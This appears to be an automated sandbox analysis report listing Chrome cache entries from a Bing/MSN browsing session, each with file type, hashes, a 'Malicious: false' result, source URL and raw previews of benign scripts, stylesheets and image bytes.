bepcfg.v!==n,f=u.getAttribute("_IG");if(f&&f.length\|\|(f=_G.IG),e="&IID="+u.getAttribute("_iid")+"&IG="+f,l)try{sj_cook.get("")}catch(p){e+="&CID="+u.getAttribute("_cid")}r="/rewardsapp/ncheader?ver="+_G.AppVer+e;a=r;try{o=undefined;v=/(^\|&)uncrunched=1(&\|$)/i;o=v.exec(_w.location.search.substr(1));r=r+(o?"&uncrunched=1":"")}catch(w){r=a}y=_ge("rewardsEntryPoint");y&&(r="".concat(r,"&loadEntryPointsScript=1"));s=[_w.top,_w];i=sj_gx();i.open("POST",r,!0);i.setRequestHeader("Content-type","application/x-www-form-urlencoded");c&&(i.onreadystatechange=function(){i&&i.readyState==4&&i.status==200&&sj_appHTML(sj_b,i.responseText)});h="wb="+(c?bepcfg.wb:"0");l&&(h+=";i="+(s[0]!==s[1].self?0:1)+";v="+bepcfg.v);i.send(h)}else t("nc_iid NotFound")}var n="undefi

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	512
Entropy (8bit):	7.297687791356906
Encrypted:	false
SSDEEP:	12:6v/7PHK5vmTHief+oUXQzBw0Kqp90+JZ8WDJhg0XYkDBwOY:Mq5vmxf+oUXQlvxT0+JHNztY
MD5:	BDB31A2F26EA362FB3CF71D59021BA62
SHA1:	7CD518B87EBEBEA1694D08EB79C66531B2806715
SHA-256:	5EC6996DFBC761C63BC244CE4ADC104541E399DB02D9EDBDF673450CEBA75A2E
SHA-512:	8A92C8746DC103C5BE51A807984E126DE65CDD231989AD929FAD052E3BE66543726CC2B045B6E5673A62BEEBDED1B9E0D4959A55158489E4EB8ABE5F812903CD
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1d0ujS.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx..R..AQ.].........U..F..z.@..$.....9..F".....B.o...5ss.=87.;..k..Y.=3..ax.h4B.T".f2..X,..d4J.\....Bc.....4..5S.6J&g$... .l6.j....;....z..dRRR..r..F..@ .\|>/.^A"...........0..hT.O..V.U..f.`..B.......-.z..^/<..N....d.\.........a,.K....!...^....x.Z<..b.d2.-c.X4....#.J.-.6J..l0......V..f..&...~*8.........zS....r..<.P(......n..n.....N.}..o.....v.!4.x<.\|>G6...`..j.x...s.S2.R.2.Q#{.....v...q<.q..`.X$g..y..N..2.._....IEND.B`...............

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17377), with no line terminators
Category:	downloaded
Size (bytes):	17377
Entropy (8bit):	5.2783776268189255
Encrypted:	false
SSDEEP:	384:3Wsj/9NFzdlfOw3QMXEwOAw3KvyBJeXi5OFvKh12tqRxW+:3z/PFzdzXEwCanXigFvKh1SW3
MD5:	11ADDDD4A61714E7DC173B0FCC2CDC71
SHA1:	4CCC5FBDEA47DF0BD5EDDF4A86443A2F1ADB1B34
SHA-256:	C64240AF9771BA3742BF06198EA33BBA40CAA0AA93FE1B9574B3345D372A8E82
SHA-512:	22FC44E2C2950579443743AC95081540667BB9D8287BF4DD0B3D68468FAC8411D25B1B6E6BCFCD86EEF7437C2C6CA77B7BB579778FDEF343EF589C9CA7C828A4
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/TMxfvepH3wvV7d9KhkQ6LxrbGzQ.js
Preview:	var customEvents,__spreadArray,fallbackReplay,EventLoggingModule;_w.EventsToDuplicate=[];_w.useSharedLocalStorage=!1;define("shared",["require","exports"],function(n,t){function s(n,t){for(var r=n.length,i=0;i<r;i++)t(n[i])}function r(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];return function(){n.apply(null,i)}}function u(n){i&&event&&(event.returnValue=!1);n&&typeof n.preventDefault=="function"&&n.preventDefault()}function f(n){i&&event&&(event.cancelBubble=!0);n&&typeof n.stopPropagation=="function"&&n.stopPropagation()}function e(n,t,i){for(var r=0;n&&n.offsetParent&&n!=(i\|\|document.body);)r+=n["offset"+t],n=n.offsetParent;return r}function o(){return(new Date).getTime()}function h(n){return i?event:n}function c(n){return i?event?event.srcElement:null:n.target}function l(n){return i?event?event.fromElement:null:n.relatedTarget}function a(n){return i?event?event.toElement:null:n.relatedTarget}function v(n,t,i){while(n&&n!=(i\|\|document.body)){if(n==t)return!0;n=n.p

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	308
Entropy (8bit):	6.593727490677001
Encrypted:	false
SSDEEP:	6:6v/lhPk+nD1v427BaK+V1dv340ikehD09kEKBtUsu87sCLQKpRVp:6v/7sG1vU1l3PehASTYstSKpR7
MD5:	BDA49766E2E7E028EF09D0E34988ECDF
SHA1:	73FED2C00C224AA0DF89397EC41488D63975C882
SHA-256:	5CBDA906C7DB6D50C7E200D73841A7BB7404BCFF1B3C9121AA5BC79DBC608B9A
SHA-512:	2292945B9F53D495B9845CDE7FDDDC6890EDBF00262314691BDC609D81DD6521AD3BB687766A2291077A1848EF49BD04A430C96503EB3254DAD6E932963C9ABD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....D......9PLTEGpL.n..n..p..n..n..m..p..p..n..o..o..n..o..n..o..n..n..n...T....tRNS... ..@.................IDAT8.....0.D.gZ.....5..x.t.YM...r(.....)...O-._.R..r#...[O.o..e.\......(...h..}...h.=.?_Q...#..Iu!o6.u.-....W.0......aT..Ai...........A?.~..t.q....V......IEND.B`.

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	35714
Entropy (8bit):	7.962594488900293
Encrypted:	false
SSDEEP:	768:e9D1ptrOrtPx20J/UVlwr4wGVg3+/9AAlO8t0bNvH/sg:e9xwtPFBVr+W+/ySj0hvHd
MD5:	8D41C5A4C46DDE9D8B890D2C89CACA75
SHA1:	A3AF821C8B24164DE51A8714137B7FBF4D698519
SHA-256:	6370F2380DD0B7018DD5BD7A15459DD6440935E6F56E5DDD95E98803883E7824
SHA-512:	67E7EDFF8DDCA2B3A28FD64A533D24046F14E97CEA5FDEFA4FB997C20257D2EA43E4CCBA5184EDF3B536E6D160327E4C02C239CB56BEA32B6752E44D704BD40C
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.582b399d114f52e8f3cee6331a006f9f&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....F....ss..%.q;.I.7(\q..'.{.....G.t......U+.mfp..M.1....#.....9..~..Wz..!.....8P;d..../..I....n..n..@..V.....0.?..y..mW.({.Yn[F.$.-../..>.}gwl...mu.I...P\&...N.p..N.Gz......4..._.t...h...\|.Yd..dE..\|..$q.....t...ho....k$.kw^cwh..d....?.\|..i.m.m.(.hd.d..9.9.^.<eJ5{.m8.3.;..o..........Cik#...9Sl..Rv}.pOR:..hF.....j............0...........3.....L...^.....

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	242
Entropy (8bit):	4.86807996961474
Encrypted:	false
SSDEEP:	6:A909cpDUDUBDhR9c2p83QVhXANO09c8k9Au9c2pHn:AocpwDUBhfc2W3YXANvcpiMc2Bn
MD5:	6C2C6DB3832D53062D303CDFF5E2BD30
SHA1:	B7A064A64CEAE5C9009EF7D6D8F63B90D3933C9D
SHA-256:	06B77EE16A2CD34ACD210B4F2B6E423762EA8874BB26AE5A37DB9DD01A00FF70
SHA-512:	BC2D115B53035B700D727AF9D7EFAF32DD2A39A2344F3F5FA1A82586BE849EC7803E8320661E66AB7DD2A17E64B7897E95BBD84502B91997FA46EBA4E67E8C7D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/t6Bkpkzq5ckAnvfW2PY7kNOTPJ0.js
Preview:	function RewardsReportActivity(n){window.sj_rra&&sj_rra(n)}(function(){RewardsReportActivity(document.URL);sj_evt&&sj_evt.bind("acclink:updated",function(){typeof RewardsReportActivity!="undefined"&&RewardsReportActivity(document.URL)},1)})()

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3596), with no line terminators
Category:	downloaded
Size (bytes):	3596
Entropy (8bit):	5.2939962074462805
Encrypted:	false
SSDEEP:	96:Ldz+BIRGjYmysS9pdsgKy0IFzy0TXlQvjlXJDSQhB6DxYv2ayNJes:LdSBIxmysS9DEyTFzyYXOjlXJDdGYuay
MD5:	7658C31C6AF408FF6C9F01B507B41C7C
SHA1:	C77922DE59099D8545A7C4D4B9AA46B2675B31D0
SHA-256:	145832FE4C30FFCDD88EACF2A42B3C894FD21A6CD15AC3CAD867AEA578EE3A70
SHA-512:	7B83581D551F875C0F88E4B5D4CBC7F60EA7EB6AD675F9C7EBA935714017BC1430A32641B2D74C275C102144DC1AC8BE5C80E91A6F9162B9ABC4C29D8DE1B6DF
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/sa/41714962/Blue/BlueIdentityDropdownRedirect_c.js
Preview:	var Identity=Identity\|\|{};Identity.headerAuthenticate=function(n,t){Identity.headerLoginMode!=0&&Identity.popupAuthenticate(n,"","EXPLICIT_P")\|\|(_w.location.href=t)},function(){function h(n,t,i){if(n&&t){var r=n.className;i?r.indexOf(t)==-1&&(r=r.concat(" ",t)):r=r.replace(t,"");n.className=r}}function g(n){for(var i,r,u,e,o=n.getElementsByTagName("script"),f=[],t=0;t<o.length;t++)f.push(o[t]);for(t=0;t<f.length;t++){for(i=f[t],r=document.createElement("script"),u=0;u<i.attributes.length;u++)e=i.attributes[u],r.setAttribute(e.name,e.value);r.appendChild(document.createTextNode(i.innerHTML));i.parentNode.replaceChild(r,i)}}function ut(n){n[1]!=="login"&&w(!1)}var u=_ge("id_h"),f=_ge("id_l"),t=_ge("id_d"),e,r=!1,c=!1,l=Identity.hdrClk,i=sj_gx(),a=!1,b="keyup",o="click",s="touchstart",v="focusChange",y=function(){var u,s,f,h;if(!r){r=!0;var v=t.getAttribute("_iid"),o="",n="testhooks=1";location.href.indexOf(n)>0&&(o="&"+n);u="";s="loginmode=1";Identity.headerLoginMode==1&&(u="&"+s);f="";n

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (26218)
Category:	downloaded
Size (bytes):	142570
Entropy (8bit):	5.462990367527485
Encrypted:	false
SSDEEP:	3072:IEtaLL0yN4ydBPGqePZQTCnjdd7YhUlazo9:IEtaLL0yN4ydBPGqePZQTsh9
MD5:	E96BEF1E036BF31975B5B2FD42C2F88C
SHA1:	83AA58A1D9FD51D521A2068799017BE65CCAB27F
SHA-256:	9C88F7FB48EEDCAFABE7820FEF8F539DA8619FE7575D1248219F8B29F90EAC23
SHA-512:	88F27B76F1DEEA7436324CAFA86C2D46388A3F88E7941AD5604DAC3B463577D45ED0FB4C6E8A6B3EB7BB30D525DE59F0B0F510853B8B35BF9D8595A93A73A9D1
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/web-components_traffic-card_dist_index_js.e9e81366e8b3dd2305a9.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["web-components_traffic-card_dist_index_js"],{51603:function(e,t,i){"use strict";i.r(t),i.d(t,{TrafficCard:function(){return s.JX},maxSummaryItemsPerPage:function(){return s.My},msftTrafficCard:function(){return Ks},msftTrafficCommuteSettingPage:function(){return Be},msftTrafficImg:function(){return Me},msftTrafficToast:function(){return Qe},msftTransitImagePageSupersd:function(){return re},msftTransitLineItemsSupersd:function(){return M},msftTransitLinesPageSupersd:function(){return Y},msftTransitLocationsPageSupersd:function(){return z},msftTransitToastPageSupersd:function(){return ee},trafficCardStyles:function(){return Gs}});var s=i(1067),a=i(33940),o=i(67093),r=i(99452),n=i(42590),l=i(28904);class c extends l.H{constructor(){super(...arguments),this.transitData={},this.showHomeLocationSuggests=!1,this.showWorkLocationSuggests=!1,this.isSaveButtonDisabled=!0,this.isUserMsa=!1,this.h

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, software=GIMP 2.10.18, datetime=2020:04:16 19:04:38], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	3791
Entropy (8bit):	7.08266375441937
Encrypted:	false
SSDEEP:	96:6lg111b8TUEfN/R5Cx2ftlv8Zkj81vPZsYf:0g11u5FR5CUtlkZPRKY
MD5:	299A479A2F7F1F30D09545CA8CC5D162
SHA1:	871F9E79AD73AAD0B3E0AD1B5B6B87FE837B16CE
SHA-256:	B314EAD01E8E89C964273418BB1117D24DFE01E4838E7A1B46FA19F64699AF05
SHA-512:	9D8DA9F1247D5D097E8AAAB4346AADE12E2BC74D6F9446760A5A3A45D9C2D48782D456CE05AC6FD2F0572CD26A562F2D0E4C55048FDAEC138F398A715743437D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/hx-eea1zqtCz4K0bW2uH_oN7Fs4.jpg
Preview:	......JFIF.....H.H......Exif..II*...............V...........^...(...........1.......f...2.......t...i...............H.......H.......GIMP 2.10.18..2020:04:16 19:04:38.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ .........7.,acspMSFT...................................-lcms................................................desc... ...@cprt...`...6wtpt........chad.......,rXYZ........bXYZ........gXYZ........rTRC....... gTRC....... bTRC....... chrm...4...$dmnd...X...$dmdd...\|...$mluc............enUS...$.....G.I.M.P. .b.u.i.l.t.-.i.n. .s.R.G.Bmluc............enUS.........P.u.b.l.i.c. .D.o.m.a.i.n..XYZ ...............-sf32.......B.......%.......................nXYZ ......o...8.....XYZ ......$.........XYZ ......b.........para..........ff......Y.......[chrm..............T\|..L.......&g...\mluc............enUS.........G.I.M.Pmluc............enUS.........s.R.G.B...C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 134 x 64, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7441
Entropy (8bit):	7.961547902598206
Encrypted:	false
SSDEEP:	192:u5AWFqvmUXx8GYnT/6M+wxWHWfkM6W+iBvH:e7M3BenT/6M+wxEWfk6B/
MD5:	C162A5D5C4B750769BF48752F6206FDA
SHA1:	52554BFC629CAAB91D215026785314781B9A0708
SHA-256:	89835F7C743F40ABECCB11C85E34FF17120CF0AF614327E527E5B37B01848FCF
SHA-512:	30EBB95F24A38ABFEAC7EFF24F6E61563355B40773DA85F059709A5D3F1F79C8AE7B52877F4B4CB64EB177C295DBA62DFBA2CA866C40398E9F6C57D285D65D10
Malicious:	false
Reputation:	unknown
URL:	"https://ecn.dev.virtualearth.net/REST/v1/Imagery/Map/RoadVibrant/Routes/driving?ms=134,64&culture=en-us&waypoint.1=38.7950210571289,-77.2733001708984;drsp.f;+&waypoint.2=38.8471221923828,-77.3063125610352;drep.f;+&mapLayer=TrafficFlow,Basemap,trafficroute,OsmBuildings&key=AugYTsAbLKj7moSUfsxalWlCFq3qnO8wjRy5Pp4tXwCpwW0gClh_Eq0gwMSHPcLK&fmt=png&da=ro&logo=n"
Preview:	.PNG........IHDR.......@.............PLTE.........................{\|.......9_.(BW{\|...."Jgyzz....._.....]w...N?...u..c .d]..I;.J......f....m5.d~\|Jo..u..r...?......d~..j.j..fu.J...p..e{J.."x.SVOfWD.r..A....m9......!.H?.c..re.j...<.f-...!.s;..Z[Y..V%.fX.M.....p~<\..B.tG2.n4.cxy4....e..w.m[..W...y.9...,b...A\.j<.......v..;..C.t:.d%ndg....;.......5.\......>.sJ.b.._Z.z..$..!}.(#...d.#/. )....z...jk...... .yu9 .;8.$.....y..te....df.(,...5.Li..p.....Na]..........~Z.5F4.\|...G.}}}\|..@p1....2..p.s..L..WbJ........S@(...KqZ......rK.h.&.....-n.2..........r........rtp...x..0`....&,-.&.\|...&..H..x.......887..s.d...5.z.......s.W..GHE...G/8.x...m....o+..!.{...S.......<...x.%.J...-CZ.:....R#.:..Z...k..dN$..g.....CN .}E.I..B.Q_B.c...x0.)A..zs....IDATh.]..\......._....../....c...,H.Z......'....X.v..$+...b..t.....nZ....=....V....6.Mr.6n.....&....{.g......x.....~.../../........\|.r}.@}6.p......td.gL ...w.f.x.v....>..

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (610), with no line terminators
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	4.975238914969193
Encrypted:	false
SSDEEP:	12:iggpIYa1gjMPRuQR6uqTARSASBI4AM1mAu0AkgO3AiDMvTAD0xpmDOZH:IIbR6uqTARSnBP3EH0lgCmvTAS061
MD5:	F8A63D56887D438392803B9F90B4C119
SHA1:	993BD8B5EB0DB6170EA2B61B39F89FAD9BFEB5B5
SHA-256:	EF156B16FDCF73F670E7D402D4E7980F6558609A39195729F7A144F2D7329BF3
SHA-512:	26770BB2AC11B8B0AEF15A4027AF60A9C337FE2C69D79FDDAA41ACFD13CAC70096509B43DC733324932246C93475A701FD76A16675C8645E0EC91BD38D81C69D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/mTvYtesNthcOorYbOfifrZv-tbU.css
Preview:	#bepfo{background-color:#fff !important;color:#444 !important;z-index:10}#bepfo.b_hide{display:none !important}#bepfo.darkMode{background-color:#11100f !important;color:#edebe9 !important}#bepfo #bepfm{max-width:320px;overflow:hidden;box-sizing:border-box;border-radius:4px}.popup{transform:scale(0);transform-origin:center top;animation-name:autoOpenPopup;animation-duration:300ms;animation-delay:200ms;animation-timing-function:linear;animation-fill-mode:forwards}@keyframes autoOpenPopup{0%{transform:scale(0)}30%{transform:scale(.3)}50%{transform:scale(.5)}80%{transform:scale(.8)}100%{transform:scale(1)}}

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:59:08], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	5944
Entropy (8bit):	7.819206752415454
Encrypted:	false
SSDEEP:	96:sUbkQe7dQVaRFmwmIE1KFxQ5JKPxCLNO8XrhNOyYSIyQ3DEmISwnFlE6NlG:s+od96rIE1KRCLHXl4DPzEmISwFlE6Nc
MD5:	F6E70DA298349AD94215F0B4A6875037
SHA1:	96F08A674EDB118B6862663ADA27CCCD56B44481
SHA-256:	68B6356BA9F37FF17EAE98BC094A493075F83D446B1E88F1ED32C2926E72E76C
SHA-512:	AFA16D89B1395F1318F42757F9451553F425539087E2EE40EC9FB14EC1FEB0C80254252951472ACC4AB8D4245E53E75F2C43FE41DAF9EC7DA8526C2F7B669BD4
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/lvCKZ07bEYtoYmY62ifMzVa0RIE.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:59:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.........................................................................................h......................E..T..r..D........@..H.F&....`5.e.%...."..U@C.r.e...5.-.`4".[.`.1C.$)..pZ.".;. .(..w...x.f..sU[....Y..<.:...b..=+.........n\.b)sv/4^`-.kN.;.v..X....Z......#_...N.....j..4.\......T..,.....B..&..L....^LcJ.KA.=....!iEY...!N....Z.:.d.i..F..d...sP.w=<..59]O..u.?..3...]i....F...C.X...[M..z..<...k..rL.UYr.jz.@ sTf..D8,5.+..<jWr..oL...<H.k;.A I.k)...'.y.j.uZ.,4......(.\HH.ByC..1.jt.X...Z.......w......`.v.TZ.M.f.J.}.F.e..Te.-N@S...+.].\..u-9..Xg .B.[M.$..'.ry....Zf...CV.D...S...65 `mH@#.j[.y."...r ).5.B\.o...B...Ee..Q@....,..)..u#..i.j.jAsT...[J.c_...'.....................

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	469
Entropy (8bit):	4.629787805928795
Encrypted:	false
SSDEEP:	12:trrzSuoUAMHYJzB3zik04HS0u0fzgOOqiN75qAMP:tfzScAM4JzFukJNu07gVN7I/
MD5:	472185A4E75B520DC563EF944EA414D1
SHA1:	ABCF5A6CC96DE0FC06C3E61B524CEA7B179797DB
SHA-256:	5BEC0E52B149217FBFB5973B131F98012BFF1FEE2A9B1C5B37F1DC01A0011265
SHA-512:	0FB5E92715C722B81DE7EA34CCDEE65FD56BB4BF9FB2C1D5D255BCB6AC82C33B1B9AFA34E980FB6067C16E99C88A35C56D51345DE36A99B020F349E9F17F1D59
Malicious:	false
Reputation:	unknown
Preview:	<svg width="7" height="12" viewBox="0 0 7 12" class="weather-arrow-glyph" xmlns="http://www.w3.org/2000/svg">.. <path d="M0.528512 0.861886C0.268165 1.12224 0.268165 1.54435 0.528512 1.8047L4.72379 5.99996L0.528512 10.1952C0.268165 10.4556 0.268165 10.8777 0.528512 11.138C0.788865 11.3984 1.21097 11.3984 1.47133 11.138L6.13799 6.47136C6.39832 6.21103 6.39832 5.78889 6.13799 5.52856L1.47133 0.861886C1.21097 0.601539 0.788865 0.601539 0.528512 0.861886Z"/>..</svg>..

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37078), with no line terminators
Category:	downloaded
Size (bytes):	37078
Entropy (8bit):	5.525741908495419
Encrypted:	false
SSDEEP:	768:6jiIrpgi31lUc4jzmU6Yfl75Ql+HCmEOO8gBNppA23/H8tQJ1CN9MQWt3/piVX5V:6PF31SUCp5u+0vctMxbMVX52w
MD5:	3296F64A7A2BF91E144553E17654643B
SHA1:	639B0F05038C69CFC21AD55CE92B92C71B9BB8BA
SHA-256:	4DE9E2C37234DA98C8BE5F282084E5603918A287602DF7F75AF3F1BCF825781F
SHA-512:	45DB48942642ADC0E9D50C5CFDCC2CB44F8E2245F2248F5FBE7CD38C405D35A0F678446D31845A35136333C1B9D16112799D08BFCAC28CAA7D60039C04BC5EC6
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/Y5sPBQOMac_CGtVc6SuSxxubuLo.js
Preview:	!function(){const noop=()=>{},optionsScript=document.querySelector("script[type=esms-options]"),esmsInitOptions=optionsScript?JSON.parse(optionsScript.innerHTML):{};Object.assign(esmsInitOptions,self.esmsInitOptions\|\|{});let shimMode=!!esmsInitOptions.shimMode;const importHook=globalHook(shimMode&&esmsInitOptions.onimport),resolveHook=globalHook(shimMode&&esmsInitOptions.resolve);let fetchHook=esmsInitOptions.fetch?globalHook(esmsInitOptions.fetch):fetch;const metaHook=esmsInitOptions.meta?globalHook(shimModule&&esmsInitOptions.meta):noop,skip=esmsInitOptions.skip?new RegExp(esmsInitOptions.skip):null;let nonce=esmsInitOptions.nonce;const mapOverrides=esmsInitOptions.mapOverrides;if(!nonce){const nonceElement=document.querySelector("script[nonce]");nonceElement&&(nonce=nonceElement.nonce\|\|nonceElement.getAttribute("nonce"))}const onerror=globalHook(esmsInitOptions.onerror\|\|noop),onpolyfill=esmsInitOptions.onpolyfill?globalHook(esmsInitOptions.onpolyfill):()=>console.info("OK: ^ TypeErr

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1678
Entropy (8bit):	4.81400252276251
Encrypted:	false
SSDEEP:	24:MMj7e9MFxC3Ta8E8Z6eElrPwpGb34GEZ8A74IJ:1jyMMa8tZ6eElrYFGUt7
MD5:	60603DC161A2E92F9A5C12669EF98773
SHA1:	F99780FE3E260CA78E7C34D55E07638FAA29D36C
SHA-256:	629299A751D3E24300B7F723F1F1C51C3CAA4F7A4F08012D28A85191988642DD
SHA-512:	768EC65A734CE0C72229B909D718773BD318D4C50A7382892CC086A857C1AC361E92E961AA2232AE9415B699CD4963DC09933F1A31D265D65394AA0317231325
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1e8fJt.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.eSmH.Q.~..t:.J+.4..B-RT4LE.$..."...?...i?.C........2].gjJ.Z..HQQ2...N.s{;.....{.s..^.{.......N.t6.l....%..B.q#'.....)[E...........'....&.:..lV....9S...x..mr.\|3.iJ\.e..@...W.....n.......8(lVpb.".C ..[.WM.N...>...X.U.{..Dx..~B.A....d....!5... nG...X5.S..Z.1......p.r....sE....I....;..#U.8.`.8......<5...y.5+..u...E...8Qa^X2>.....u...H;.w...........6.G6.@.nz...Z..&.:...53J.s..D.O..OP.<..b&]........8.G!.Dd.f..s...b..oW)tKs......[ w...z..n2agd.2...C...r......i..z......;.%8.....L...I.i.5.c{A..\..Wg1.\....H...F..E:.Pa..-..w..p.uU..n.iN...<.7;".7.f....{.....t]S.:..\........).}p~.M.o..}y..6...7U<..l.s..............w.i....-.p......r(...E..4\|].r~.@O..D...{...(3R#..rJj........Z...Z.....V.$..o....m.m........Z.qV.o..V.q6Q.c.. ..l>e.n....IEND.B`..................................................................................................................................................

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	17656
Entropy (8bit):	7.9577659896773065
Encrypted:	false
SSDEEP:	384:ewyvV8iKwyrEjQWVIbQEwewq2oWd5jX/xAzFF5dR:ewCVbryrSUQvLq5Wdh/izX5dR
MD5:	DAF2D12E907865610DF30208030683AD
SHA1:	25AEC3492C6EE6B7661EAD296F594A3CA01D3663
SHA-256:	D2132E8C9EA601D2B388CB9AE0D2A174855BC094FBF6D8E7E4414711E6290446
SHA-512:	FCED2FCF096ABEB3A504B31B4696BA7395C9853047CF17C1B05129C2B5B266BAD8D26FC59808F8A1C5D91FC0747BDFABF9F9EFDC9EEBD1DD97F44AF34008D794
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.1d4d6b2c8e18b4aab9d1a2a43bc24a84&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..o..+q ..m..9..!..^......?.u.=......kD}v.I.N..Z.l.0t.+..8...d`8.~..1Z.....UG..4..%..T.7;cZ4.4.=;....n..\|.....%..3\.<s=..........MJ@.....m..9.V.j..}....S'.I.j6..X...,..<..+'P...X..V..(.O.kN.......].....cR.{......}kzp<l]k..\|d7.O.s..w...kk.M4..E......j.z.3np..=...._...{..%.m....ZO...x.E.....Fq]~.4..<yRu%..~.....gk....M.........8$t2.H......U...kF.B...@8....+.(...y

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.18141036104189
Encrypted:	false
SSDEEP:	12:6v/7Bj1Q6D8gq9nUFgDaSjhwq3sb8rIZ+hoe12QnsWdoS7/:q6o+vevqnrIZe5wzWCS7/
MD5:	DA52398AF0F6906B4EC0C7EF899AA247
SHA1:	355347D2833AC105AA05C7ED7FD98C6267A805CA
SHA-256:	49BD0B79D9E7628533517F5DAEA1AAF32982A166E224A441A0FC8138ADF7FACE
SHA-512:	D26C015ABE0EE3D2A8ADEE2CB051BADB30ADADBDF5C5CFA7128F6C702512B803BE76FF517FFFB1464848D8537749BB511367D1F40CDF0100B844B5756030F4FD
Malicious:	false
Reputation:	unknown
